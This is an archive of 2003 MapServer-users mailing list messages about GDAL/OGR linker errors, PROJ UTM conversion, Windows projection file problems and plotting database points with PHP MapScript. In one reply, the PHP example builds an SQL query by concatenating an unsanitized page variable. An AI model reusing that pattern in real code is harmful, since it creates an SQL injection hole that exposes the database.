>>mapogr.o(.text+0x2141): undefined reference to `OGRStyleTool::GetType(void)'
>>mapogr.o(.text+0x2168): undefined reference to
>>`OGRStyleLabel::GetParamStr(ogr_style_tool_param_label_id, int &)'
>>mapogr.o(.text+0x219a): undefined reference to
>>`OGRStyleLabel::GetParamDbl(ogr_style_tool_param_label_id, int &)'
>>mapogr.o(.text+0x21b8): undefined reference to
>>`OGRStyleLabel::GetParamDbl(ogr_style_tool_param_label_id, int &)'
>>mapogr.o(.text+0x2212): undefined reference to
>>`OGRStyleLabel::GetParamStr(ogr_style_tool_param_label_id, int &)'
>>mapogr.o(.text+0x221f): undefined reference to
>>`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)'
>>mapogr.o(.text+0x2266): undefined reference to
>>`OGRStyleLabel::GetParamStr(ogr_style_tool_param_label_id, int &)'
>>mapogr.o(.text+0x2273): undefined reference to
>>`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)'
>>mapogr.o(.text+0x22b3): undefined reference to
>>`OGRStyleLabel::GetParamStr(ogr_style_tool_param_label_id, int &)'
>>mapogr.o(.text+0x2368): undefined reference to `OGRStyleTool::GetType(void)'
>>mapogr.o(.text+0x2386): undefined reference to
>>`OGRStylePen::GetParamStr(ogr_style_tool_param_pen_id, int &)'
>>mapogr.o(.text+0x23e6): undefined reference to
>>`OGRStylePen::GetParamStr(ogr_style_tool_param_pen_id, int &)'
>>mapogr.o(.text+0x23f3): undefined reference to
>>`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)'
>>mapogr.o(.text+0x2426): undefined reference to
>>`OGRStylePen::GetParamDbl(ogr_style_tool_param_pen_id, int &)'
>>mapogr.o(.text+0x24c8): undefined reference to `OGRStyleTool::GetType(void)'
>>mapogr.o(.text+0x2509): undefined reference to
>>`OGRStyleBrush::GetParamStr(ogr_style_tool_param_brush_id, int &)'
>>mapogr.o(.text+0x2516): undefined reference to
>>`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)'
>>mapogr.o(.text+0x255d): undefined reference to
>>`OGRStyleBrush::GetParamStr(ogr_style_tool_param_brush_id, int &)'
>>mapogr.o(.text+0x256a): undefined reference to
>>`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)'
>>mapogr.o(.text+0x25a7): undefined reference to
>>`OGRStyleBrush::GetParamStr(ogr_style_tool_param_brush_id, int &)'
>>mapogr.o(.text+0x25c8): undefined reference to `OGRStyleTool::GetType(void)'
>>mapogr.o(.text+0x25f9): undefined reference to
>>`OGRStyleSymbol::GetParamStr(ogr_style_tool_param_symbol_id, int &)'
>>mapogr.o(.text+0x2606): undefined reference to
>>`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)'
>>mapogr.o(.text+0x263a): undefined reference to
>>`OGRStyleSymbol::GetParamDbl(ogr_style_tool_param_symbol_id, int &)'
>>mapogr.o(.text+0x266e): undefined reference to
>>`OGRStyleSymbol::GetParamStr(ogr_style_tool_param_symbol_id, int &)'
>>mapogr.o(.text+0x26d4): undefined reference to
>>`OGRStyleMgr::~OGRStyleMgr(void)'
>>collect2: ld returned 1 exit status
>>make: *** [shp2img] Error 1
>>
>>------------
>>
>>*aaarrrg*
>>
>>any hint?
>>
>>
>>Lowell Filak wrote:
>>
>>
>>
>>>That could be the reason if the makefile defines 'make' differently than it defines 'make all'.
>>>I don't have a different idea, hopefully that will do it.
>>>
>>>The following message was sent by Philipp Jacob on Tue, 07 Jan 2003 16:30:13 +0100.
>>>
>>>
>>>
>>>
>>>
>>>>no, it is not installed.
>>>>but i found the following:
>>>>
>>>>"The OGR library is currently a loosely coupled subcomponent of the GDAL
>>>>library, so you get all of GDAL for the price of OGR, though you can
>>>>build and use just the OGR components"
>>>>
>>>>hm, it looks like, that gdal was build without ogr support. right?
>>>>
>>>>so there is a building instruction for unix which says:
>>>>% cd gdal
>>>>% configure
>>>>% make all
>>>>
>>>>when i compiled gdal, i only typed 'make' instead of 'make all'.
>>>>could that be the reason, why there is no ogr support?
>>>>
>>>>i will try this, or do you have another idea?
>>>>
>>>>
>>>>Lowell Filak wrote:
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>>Okee dokee.
>>>>>The next thing it can't find is OGR, is that installed?
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>
>
>
>
From philipp.jacob at geosysnet.de Wed Jan 8 03:31:54 2003
From: philipp.jacob at geosysnet.de (Philipp Jacob)
Date: Wed, 08 Jan 2003 12:31:54 +0100
Subject: [Mapserver-users] mapserver compile problems
References: <3E1ACED9.8000105@geosysnet.de> <3E1B4A1A.B1DF2AB2@dmsolutions.ca>
Message-ID: <3E1C0C2A.4020103@geosysnet.de>
Daniel Morissette wrote:
>Philipp Jacob wrote:
>
>
>>the configure command:
>>"CXX=/opt/gcc295/bin/c++ CC=/opt/gcc295/bin/gcc ./configure --with-gd
>>--with-php=../php-4.2.3/ --with-gdal=../gdal-1.1.7/
>>--enable-force-freetype1 --with-proj --with-wmsclient"
>>
>>
>>
>...
>
>
>
>>but when i do 'make' the make process stops with the following error:
>>
>>----------
>>[...some regular make outout above this...]
>>/opt/gcc295/bin/gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL
>>-DUSE_PROJ -DUSE_WMS -DUSE_WMS_LYR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG
>>-DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_GDAL
>>-I/usr/local/include -I/usr/local/include
>>-I/usr/local/include/w3c-libwww -DHAVE_CONFIG_H shp2img.o -L. -lmap
>>-lgd -L/usr/local/lib -lgd -ljpeg -lttf -lpng -lz -ltiff -ljpeg -lttf
>>-lpng -lz -lproj -ljpeg -L/usr/local/lib -lwwwxml -lxmltok
>>-lxmlparse -lwwwinit -lwwwapp -lwwwhtml -lwwwtelnet -lwwwnews -lwwwhttp
>>-lwwwmime -lwwwgopher -lwwwftp -lwwwfile -lwwwdir -lwwwcache -lwwwstream
>>-lwwwmux -lwwwtrans -lwwwcore -lwwwutils -lmd5 -ldl -lm -o shp2img
>>./libmap.a(mapraster.o): In function `drawGDAL':
>>mapraster.o(.text+0x4d4): undefined reference to `GDALGetRasterXSize'
>>...
>>
>>
>
>You are getting this because configure didn't find the 'gdal-config'
>script and it failed to include -lgdal.1.1 in the link arguments. You
>have to pass the full path to the gdal-config file in the --with-gdal
>parameter, not just the path to GDAL (I know this can become confusing).
>
>The configure script should have complained about this but it didn't, so
>I fixed it in both 3.6.4-dev and 3.7-dev to complain about this
>mistake. The './configure --help' output also documented the option as
>'--with-gdal[=DIR]' and I changed it to '--with-gdal[=PATH]' which will
>hopefully reduce the chances of confusion.
>
>Now, you should be able to compile without getting those fixes as long
>as you pass the right argument to --with-gdal:
>
>Did you 'make install' in the GDAL directory? That would be the best
>thing to do and then you could use '--with-gdal' without any argument
>assuming that /usr/local/bin/gdal-config is in your path.
>
>If you must specify an alternate location for GDAL then you should pass
>the full path and filename of the gdal-config script, if you didn't
>'make install' GDAL, then the path should likely be:
> --with-gdal=../gdal-1.1.7/apps/gdal-config
>
>Daniel
>
>
yes, the gdal-config problem is solved.
sorry, the last messages didn't reach the mailing list, my fault.
i did 'make install' and left out the path after --with-gdal, now the
gdal libraries seems to be found.
but 'make' on the mapserver brings up even more 'undefined references'.
------------------
i recompiled the gdal library.
configure checked for OGR support and enabled it. well, sounds nice.
'make all' 'make install' done..
then i configured the mapserver again.
additionally with the option: --with-ogr
configure finished successfully and i had a look at the Makefile.
OGR support is mentioned there, and the right paths are set.
(/usr/local/lib -lgdal.1.1)
but 'make' brings even more 'undefined references' than before:
------------
...
/opt/gcc295/bin/gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL
-DUSE_PROJ -DUSE_WMS -DUSE_WMS_LYR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG
-DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR -DUSE_GDAL
-I/usr/local/include -I/usr/local/include -I/usr/local/include
-I/usr/local/include -I/usr/local/include/w3c-libwww -DHAVE_CONFIG_H
shp2img.o -L. -lmap -lgd -L/usr/local/lib -lgd -ljpeg -lttf -lpng -lz
-ltiff -ljpeg -lttf -lpng -lz -lproj -ljpeg -L/usr/local/lib
-lgdal.1.1 -L/usr/local/lib -lwwwxml -lxmltok -lxmlparse -lwwwinit
-lwwwapp -lwwwhtml -lwwwtelnet -lwwwnews -lwwwhttp -lwwwmime -lwwwgopher
-lwwwftp -lwwwfile -lwwwdir -lwwwcache -lwwwstream -lwwwmux -lwwwtrans
-lwwwcore -lwwwutils -lmd5 -ldl -lm -o shp2img
./libmap.a(mapogr.o): In function `ogrGeomPoints(OGRGeometry *, shapeObj
*)':
mapogr.o(.text+0x16c): undefined reference to
`OGRPolygon::getExteriorRing(void)'
mapogr.o(.text+0x199): undefined reference to
`OGRPolygon::getInteriorRing(int)'
mapogr.o(.text+0x1b3): undefined reference to
`OGRPolygon::getNumInteriorRings(void)'
mapogr.o(.text+0x20f): undefined reference to
`OGRGeometryCollection::getNumGeometries(void)'
mapogr.o(.text+0x39d): undefined reference to
`OGRPolygon::getExteriorRing(void)'
mapogr.o(.text+0x3ac): undefined reference to
`OGRPolygon::getInteriorRing(int)'
mapogr.o(.text+0x40f): undefined reference to
`OGRPolygon::getNumInteriorRings(void)'
mapogr.o(.text+0x449): undefined reference to
`OGRGeometryCollection::getGeometryRef(int)'
...
./libmap.a(mapogr.o): In function `msOGRLayerGetAutoStyle':
mapogr.o(.text+0x2098): undefined reference to
`OGRStyleMgr::OGRStyleMgr(OGRStyleTable *)'
mapogr.o(.text+0x20ce): undefined reference to
`OGRStyleMgr::InitFromFeature(OGRFeature *)'
mapogr.o(.text+0x20dc): undefined reference to
`OGRStyleMgr::GetPartCount(char const *)'
mapogr.o(.text+0x2104): undefined reference to
`OGRStyleMgr::GetPart(int, char const *)'
mapogr.o(.text+0x2135): undefined reference to
`OGRStyleTool::SetUnit(ogr_style_tool_units_id, double)'
mapogr.o(.text+0x2141): undefined reference to
`OGRStyleTool::GetType(void)'
mapogr.o(.text+0x2168): undefined reference to
`OGRStyleLabel::GetParamStr(ogr_style_tool_param_label_id, int &)'
mapogr.o(.text+0x219a): undefined reference to
`OGRStyleLabel::GetParamDbl(ogr_style_tool_param_label_id, int &)'
mapogr.o(.text+0x21b8): undefined reference to
`OGRStyleLabel::GetParamDbl(ogr_style_tool_param_label_id, int &)'
mapogr.o(.text+0x2212): undefined reference to
`OGRStyleLabel::GetParamStr(ogr_style_tool_param_label_id, int &)'
mapogr.o(.text+0x221f): undefined reference to
`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)'
mapogr.o(.text+0x2266): undefined reference to
`OGRStyleLabel::GetParamStr(ogr_style_tool_param_label_id, int &)'
mapogr.o(.text+0x2273): undefined reference to
`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)'
mapogr.o(.text+0x22b3): undefined reference to
`OGRStyleLabel::GetParamStr(ogr_style_tool_param_label_id, int &)'
mapogr.o(.text+0x2368): undefined reference to
`OGRStyleTool::GetType(void)'
mapogr.o(.text+0x2386): undefined reference to
`OGRStylePen::GetParamStr(ogr_style_tool_param_pen_id, int &)'
mapogr.o(.text+0x23e6): undefined reference to
`OGRStylePen::GetParamStr(ogr_style_tool_param_pen_id, int &)'
mapogr.o(.text+0x23f3): undefined reference to
`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)'
mapogr.o(.text+0x2426): undefined reference to
`OGRStylePen::GetParamDbl(ogr_style_tool_param_pen_id, int &)'
mapogr.o(.text+0x24c8): undefined reference to
`OGRStyleTool::GetType(void)'
mapogr.o(.text+0x2509): undefined reference to
`OGRStyleBrush::GetParamStr(ogr_style_tool_param_brush_id, int &)'
mapogr.o(.text+0x2516): undefined reference to
`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)'
mapogr.o(.text+0x255d): undefined reference to
`OGRStyleBrush::GetParamStr(ogr_style_tool_param_brush_id, int &)'
mapogr.o(.text+0x256a): undefined reference to
`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)'
mapogr.o(.text+0x25a7): undefined reference to
`OGRStyleBrush::GetParamStr(ogr_style_tool_param_brush_id, int &)'
mapogr.o(.text+0x25c8): undefined reference to
`OGRStyleTool::GetType(void)'
mapogr.o(.text+0x25f9): undefined reference to
`OGRStyleSymbol::GetParamStr(ogr_style_tool_param_symbol_id, int &)'
mapogr.o(.text+0x2606): undefined reference to
`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)'
mapogr.o(.text+0x263a): undefined reference to
`OGRStyleSymbol::GetParamDbl(ogr_style_tool_param_symbol_id, int &)'
mapogr.o(.text+0x266e): undefined reference to
`OGRStyleSymbol::GetParamStr(ogr_style_tool_param_symbol_id, int &)'
mapogr.o(.text+0x26d4): undefined reference to
`OGRStyleMgr::~OGRStyleMgr(void)'
collect2: ld returned 1 exit status
make: *** [shp2img] Error 1
------------
*aaarrrg*
any hint?
From nida at webstar.co.uk Wed Jan 8 06:16:10 2003
From: nida at webstar.co.uk (nida Khan)
Date: Wed, 8 Jan 2003 14:16:10 -0000
Subject: [Mapserver-users] plot a point on map
Message-ID: <019b01c2b720$7e7db800$a901a8c0@private.webstar.co.uk>
This is a multi-part message in MIME format.
------=_NextPart_000_0198_01C2B720.7E20A3E0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi everyone,
I have a table with x and y coordinate in two integer fields.
I could'nt find any example to plot a point using these x and y =
coordinates from the table.
I will appreciate if you could point me to right documentation or =
example.
Many Thanks
Nida Khan.
------=_NextPart_000_0198_01C2B720.7E20A3E0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi everyone,
I have a table with x and y coordinate in two =
integer=20
fields.
I could'nt find any example to plot a point using =
these x and=20
y coordinates from the table.
I will appreciate if you could point me to right =
documentation=20
or example.
Many Thanks
Nida Khan.
------=_NextPart_000_0198_01C2B720.7E20A3E0--
From lfilak at medinaco.org Wed Jan 8 06:39:13 2003
From: lfilak at medinaco.org (Lowell Filak)
Date: Wed, 08 Jan 2003 09:39:13 -0500
Subject: [Mapserver-users] plot a point on map
Message-ID: <200301081436.h08EaDR13442@yogi.medinaco.net>
One option would be something like:
http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35ex2
HTH
Lowell F.
The following message was sent by "nida Khan" on Wed, 8 Jan 2003 14:16:10 -0000.
> Hi everyone,
>
> I have a table with x and y coordinate in two integer fields.
> I could'nt find any example to plot a point using these x and y > coordinates from the table.
>
> I will appreciate if you could point me to right documentation or > example.
>
> Many Thanks
> Nida Khan.
>
>
From pagurekd at agr.gc.ca Wed Jan 8 06:57:21 2003
From: pagurekd at agr.gc.ca (Debbie Pagurek)
Date: Wed, 08 Jan 2003 09:57:21 -0500
Subject: [Mapserver-users] PROJ command line - lat/long to UTM zone 20
Message-ID:
Hi everyone,
this isn't directly related to mapserver but it is because I'm trying to set up a world file for a jpeg image...
can someone give me some pointers on how to use the PROJ command line to convert a lat/long point to UTM zone coordinates?
I have tried several things but keep getting different results e.g.
proj +proj=utm +lon_0=-63 -E -r < 46.25N 64.5W
> EOF
46.25N 64.5W 384376.30 5122918.25
proj +proj=utm +lon_0=-63 -E -r < 46.25N 65W
> EOF
46.25N 65W 345835.64 5123768.85
How come the UTM coordinate for 46.25N changed?
What am I doing incorrectly?
If anyone could please tell me the correct way to use the PROJ command line for lat/long to UTM conversion, I'd really REALLY appreciate it!
Thanks,
D. Pagurek
p.s. using PROJ 4.4.5 on linux.
From morissette at dmsolutions.ca Wed Jan 8 07:04:23 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Wed, 08 Jan 2003 10:04:23 -0500
Subject: [Mapserver-users] Re: mapserver error
References: <3E1A4F4D.2070508@mapcontext.com> <3E1A550D.96A50694@dmsolutions.ca> <3E1BA787.4040806@mapcontext.com>
Message-ID: <3E1C3DF7.57730E20@dmsolutions.ca>
I have no clue why it can't find the epsg file. You really named the
file "epsg" with no extension, correct? i.e. C:\proj\epsg and
C:\proj\nad\epsg
I'll CC this to the mapserver list where someone else may have run into
the same thing with the UMN build for WIN32 and might have some hints to
offer.
Daniel
Doug Nebert wrote:
>
> Daniel Morissette wrote:
> >
> >>The current error I get is:
> >>
> >>msProcessProjection(): Projection library error. no system list, errno: 2
> >>
> >>whether I include a reference to PROJECTION or not. I have
> >>downloaded the latest epsg file and put it both at c:\proj
> >>and c:\proj\nad. No avail.
> >>
> >
> >
> > hummm.... this error means that it doesn't find the epsg file. You are
> > sure that you placed it in both? You really need to resolve this
> > otherwise you won't be able to use any of the WMS features.
> >
> > This is really odd. Did you use a build from our download site or from
> > the UMN website?
> >
>
> I downloaded yesterday from the UMN site.
>
> Doug.
>
From ed at topozone.com Wed Jan 8 07:13:14 2003
From: ed at topozone.com (Ed McNierney)
Date: Wed, 8 Jan 2003 10:13:14 -0500
Subject: [Mapserver-users] Re: mapserver error
Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3AAF@mercator.topozone.com>
Doug -
Your MapServer process is running in the user context of your IUSR_ account (or whatever you've changed it to). Does that user account have read permission on the c:\proj directory tree?
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed at topozone.com
(978) 251-4242
-----Original Message-----
From: Daniel Morissette [mailto:morissette at dmsolutions.ca]
Sent: Wednesday, January 08, 2003 10:04 AM
To: Doug Nebert
Cc: mapserver-users
Subject: [Mapserver-users] Re: mapserver error
I have no clue why it can't find the epsg file. You really named the
file "epsg" with no extension, correct? i.e. C:\proj\epsg and
C:\proj\nad\epsg
I'll CC this to the mapserver list where someone else may have run into
the same thing with the UMN build for WIN32 and might have some hints to
offer.
Daniel
Doug Nebert wrote:
>
> Daniel Morissette wrote:
> >
> >>The current error I get is:
> >>
> >>msProcessProjection(): Projection library error. no system list, errno: 2
> >>
> >>whether I include a reference to PROJECTION or not. I have
> >>downloaded the latest epsg file and put it both at c:\proj
> >>and c:\proj\nad. No avail.
> >>
> >
> >
> > hummm.... this error means that it doesn't find the epsg file. You are
> > sure that you placed it in both? You really need to resolve this
> > otherwise you won't be able to use any of the WMS features.
> >
> > This is really odd. Did you use a build from our download site or from
> > the UMN website?
> >
>
> I downloaded yesterday from the UMN site.
>
> Doug.
>
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From sctweedy at NRCan.gc.ca Wed Jan 8 07:17:20 2003
From: sctweedy at NRCan.gc.ca (Tweedy, Scott)
Date: Wed, 8 Jan 2003 10:17:20 -0500
Subject: [Mapserver-users] compile question
Message-ID: <5ACEEE96F4F9D41190790002A528B51E0336778C@s0-ott-x11.nrn.nrcan.gc.ca>
Up until now I've been using the precompiled Mapserver Windows binaries. I
decided to try compiling the source codes. All the instructions for
compiling MapServer are for MS Visual C++. I'm using Bloodshed Dev-C++
version 4.9.7 and I was wondering if anyone has had success compiling
MapServer using this software or similar open source software. If so, are
there instructions out there for compiling MapServer using them?
Thanks in advance,
st
Scott Tweedy
Project Leader / chef de projet
Emergency Mapping Planning / Planification de la cartographie
d'urgence
sctweedy at NRCan.gc.ca
(613) 992-3320, fax / t?l?copieur (613) 992-3904
Natural Resources Canada / Ressources naturelles Canada
615 Booth Street / 615 rue Booth
Ottawa, Ontario / Ottawa (Ontario)
K1E 0E9
Government of Canada / Gouvernement du Canada
From ed at topozone.com Wed Jan 8 07:18:17 2003
From: ed at topozone.com (Ed McNierney)
Date: Wed, 8 Jan 2003 10:18:17 -0500
Subject: [Mapserver-users] PROJ command line - lat/long to UTM zone 20
Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3AB0@mercator.topozone.com>
Debbie -
I'm not quite sure what you think the problem is. Your two command lines are for two different coordinates (64.5 W and 65 W) so they naturally produce different results. Lines of constant latitude are curves in the UTM projection, so two points with the same latitude but different longitudes will have different UTM Northing coordinates. Both of those coordinate projections are giving you the correct results.
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed at topozone.com
(978) 251-4242
-----Original Message-----
From: Debbie Pagurek [mailto:pagurekd at agr.gc.ca]
Sent: Wednesday, January 08, 2003 9:57 AM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] PROJ command line - lat/long to UTM zone 20
Hi everyone,
this isn't directly related to mapserver but it is because I'm trying to set up a world file for a jpeg image...
can someone give me some pointers on how to use the PROJ command line to convert a lat/long point to UTM zone coordinates?
I have tried several things but keep getting different results e.g.
proj +proj=utm +lon_0=-63 -E -r < 46.25N 64.5W
> EOF
46.25N 64.5W 384376.30 5122918.25
proj +proj=utm +lon_0=-63 -E -r < 46.25N 65W
> EOF
46.25N 65W 345835.64 5123768.85
How come the UTM coordinate for 46.25N changed?
What am I doing incorrectly?
If anyone could please tell me the correct way to use the PROJ command line for lat/long to UTM conversion, I'd really REALLY appreciate it!
Thanks,
D. Pagurek
p.s. using PROJ 4.4.5 on linux.
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From jvanulde at nrcan.gc.ca Wed Jan 8 10:11:07 2003
From: jvanulde at nrcan.gc.ca (Van Ulden, Joost)
Date: Wed, 8 Jan 2003 13:11:07 -0500
Subject: [Mapserver-users] Rosa Applet for Mac?
Message-ID: <8AE17DD6AA4FD51191CD0002A5511681074BDA@s5-van1-r1.ess.nrcan.gc.ca>
Has anyone developed a Mac compatible applet for Mapserver? I am assuming
that the issue is related to the lack of support for LiveConnect on the Mac
platform.
Regards,
============================================
Joost van Ulden
Programmer/Analyst
Natural Resources Canada / Ressources naturelles Canada
Geological Survey of Canada / Commission geologique du Canada
101 - 605 Robson Street / 101 - 605 rue Robson
Vancouver, B.C. / Vancouver (C.-B.)
V6B 5J3
Office/Bureau: 604.666.7525
fax/telecopieur: 604.666.1124
jvanulde at nrcan.gc.ca
============================================
From rgrant at nrcan.gc.ca Wed Jan 8 10:27:58 2003
From: rgrant at nrcan.gc.ca (Grant, Ryan)
Date: Wed, 8 Jan 2003 13:27:58 -0500
Subject: [Mapserver-users] Compiled 3.7 with Flash swf support?
Message-ID: <8AE17DD6AA4FD51191CD0002A551168184BB25@s5-van1-r1.ess.nrcan.gc.ca>
Hey there,
Is there are precompiled 3.7 with Flash swf support available to download?
I'm interested in doing some playing/testing.
Thanks!
Ryan
From jvanulde at nrcan.gc.ca Wed Jan 8 10:32:39 2003
From: jvanulde at nrcan.gc.ca (Van Ulden, Joost)
Date: Wed, 8 Jan 2003 13:32:39 -0500
Subject: [Mapserver-users] plot a point on map
Message-ID: <8AE17DD6AA4FD51191CD0002A5511681074BDB@s5-van1-r1.ess.nrcan.gc.ca>
This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.
------_=_NextPart_001_01C2B744.53168880
Content-Type: text/plain;
charset="iso-8859-1"
There are many ways to do this from my experience, but here is an example of
how we did it using php. Essentially we query a database(MSSQL) for some
points based on some criteria(a comma delimited string called $icon_id) that
we set in the page. Then we create a array of points and write them to the
layer (points) specified in the mapfile.
There may be an easier way to do this. I hope this helps.
Regards,
Joost
// Mapfile snippet
LAYER
NAME 'points'
TYPE POINT
STATUS DEFAULT
SYMBOLSCALE 50000
TEMPLATE void
CLASS
OUTLINECOLOR 255 89 89
COLOR 0 102 51
SYMBOL 'cultural site'
SIZE 10
MAXSIZE 25
MINSIZE 10
END
END
// Start PHP template code
// BUILD POINT OBJECT ARRAY FROM THE DATABASE FOR POINTS YOU WANT TO
DYNAMICALLY DISPLAY
// database connection parameters
$hostname = "foo";
$username = "foo";
$password = "foo";
$dbName = "GBDL";
// associative array to contain the point data
$points = array();
MSSQL_CONNECT($hostname,$username,$password) or DIE("DATABASE FAILED TO
RESPOND.");
mssql_select_db($dbName) or DIE("Table unavailable");
// convert icon_id string to array
$iconArray = explode(",",$icon_id);
// loop through the iconArray and build the select statement
$selStmt = "";
for ($rec=0; $rec < sizeof($iconArray); $rec++) {
if ($rec==sizeof($iconArray)-1){
$selStmt = $selStmt." con_id = ".$iconArray[$rec];
} else {
$selStmt = $selStmt." con_id = ".$iconArray[$rec]." OR";
}
}
// end loop to build select statement
if ( strlen($selStmt) != 0){
$query = "SELECT con_id, occ_id, story_x, story_y FROM getMapServerStories
WHERE ".$selStmt;
$result = MSSQL_QUERY($query);
$number = MSSQL_NUM_ROWS($result);
if ($number > 0) {
while (($row = mssql_fetch_array($result, MSSQL_ASSOC))) {
$points[$row['occ_id']]['story_x'] = $row['story_x'];
$points[$row['occ_id']]['story_y'] = $row['story_y'];
}
}
}
// FINISHED BUILDING POINT OBJECT ARRAY
// START GENERATING YOUR DYNAMIC POINT LAYER
// get a layer object representing your pointlayer
$layerObj = $map->getLayerByName("points");
// get a class object representing the first class in the layer
$classObj = $layerObj->getClass(0);
// create a new point object to hold the X Y data
$pointObj = ms_newPointObj();
//iterate through the point data retreived from the database
foreach ($points as $occ_id => $coordinates) {
//set the X Y values of the point object
$pointObj->setXY($coordinates['story_x'], $coordinates['story_y']);
// draw the point on the image, using the id attribute to label it
$pointObj->draw($map, $layerObj, $image, 0, $occ_id);
}
// FINISHED GENERATING THE DYNAMIC POINT LAYER
-----Original Message-----
From: nida Khan [mailto:nida at webstar.co.uk]
Sent: Wednesday, January 08, 2003 6:16 AM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] plot a point on map
Hi everyone,
I have a table with x and y coordinate in two integer fields.
I could'nt find any example to plot a point using these x and y coordinates
from the table.
I will appreciate if you could point me to right documentation or example.
Many Thanks
Nida Khan.
------_=_NextPart_001_01C2B744.53168880
Content-Type: text/html;
charset="iso-8859-1"
There
are many ways to do this from my experience, but here is an example of how we
did it using php. Essentially we query a database(MSSQL) for some points
based on some criteria(a comma delimited
string called $icon_id) that we set in the page. Then
we create a array of points and write them to the layer (points) specified in
the mapfile.
There
may be an easier way to do this. I hope this helps.
Regards,
Joost
//
Mapfile snippet
LAYER NAME 'points' TYPE POINT STATUS
DEFAULT SYMBOLSCALE 50000 TEMPLATE void
CLASS OUTLINECOLOR 255 89 89 COLOR 0
102 51 SYMBOL 'cultural site' SIZE
10 MAXSIZE 25 MINSIZE 10
END END
//
Start PHP template code
//
BUILD POINT OBJECT ARRAY FROM THE DATABASE FOR POINTS YOU WANT TO DYNAMICALLY
DISPLAY
//
associative array to contain the point data $points = array();
MSSQL_CONNECT($hostname,$username,$password) or DIE("DATABASE FAILED TO
RESPOND."); mssql_select_db($dbName) or DIE("Table
unavailable");
//
convert icon_id string to array $iconArray =
explode(",",$icon_id);
// loop through the iconArray and
build the select statement $selStmt = ""; for ($rec=0; $rec <
sizeof($iconArray); $rec++) { if ($rec==sizeof($iconArray)-1){
$selStmt = $selStmt." con_id =
".$iconArray[$rec]; } else { $selStmt =
$selStmt." con_id = ".$iconArray[$rec]." OR"; } } // end loop to
build select statement if ( strlen($selStmt) != 0){ $query =
"SELECT con_id, occ_id, story_x, story_y FROM getMapServerStories WHERE
".$selStmt;
$result =
MSSQL_QUERY($query);
$number = MSSQL_NUM_ROWS($result);
if ($number > 0) { while (($row =
mssql_fetch_array($result, MSSQL_ASSOC))) {
$points[$row['occ_id']]['story_x'] =
$row['story_x']; $points[$row['occ_id']]['story_y']
= $row['story_y']; } } }
//
FINISHED BUILDING POINT OBJECT ARRAY
//
START GENERATING YOUR DYNAMIC POINT LAYER
// get a layer object representing your pointlayer $layerObj
= $map->getLayerByName("points");
// get
a class object representing the first class in the layer $classObj =
$layerObj->getClass(0);
//
create a new point object to hold the X Y data $pointObj = ms_newPointObj();
//iterate through the point data retreived from the database foreach
($points as $occ_id => $coordinates) {
//set the X Y
values of the point object $pointObj->setXY($coordinates['story_x'],
$coordinates['story_y']);
// draw the point on the image,
using the id attribute to label it $pointObj->draw($map, $layerObj,
$image, 0, $occ_id); }
//
FINISHED GENERATING THE DYNAMIC POINT LAYER
-----Original Message----- From: nida Khan
[mailto:nida at webstar.co.uk] Sent: Wednesday, January 08, 2003 6:16
AM To: mapserver-users at lists.gis.umn.edu Subject:
[Mapserver-users] plot a point on map
Hi everyone,
I have a table with x and y coordinate in two integer
fields.
I could'nt find any example to plot a point using these x
and y coordinates from the table.
I will appreciate if you could point me to right
documentation or example.
Many Thanks
Nida Khan.
------_=_NextPart_001_01C2B744.53168880--
From DMartin at erac.com Wed Jan 8 10:36:16 2003
From: DMartin at erac.com (Martin, Daniel)
Date: Wed, 8 Jan 2003 12:36:16 -0600
Subject: [Mapserver-users] RE: [rosa-users] Rosa Applet for Mac?
Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035AADBCC0@STL-EXBE-I03.corp.erac.com>
This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.
------_=_NextPart_000_01C2B744.D45F5B78
Content-Type: text/plain;
charset="iso-8859-1"
I've attached a mapplet based interface I wrote a while back that has
buttons that work similar to the Rosa buttons (in fact I used the images
from Rosa). It is really a prototype. Use at your own risk - and all that
disclaimer jazz.
Since it doesn't rely on LiveConnect, I would assume it should work. But, I
don't own any Macs so I can't tell you for sure.
I believe Mapplet is available on the UMN site, but ask if you cannot find
it.
-Dan Martin
> -----Original Message-----
> From: Van Ulden, Joost [mailto:jvanulde at nrcan.gc.ca]
> Sent: Wednesday, January 08, 2003 12:11 PM
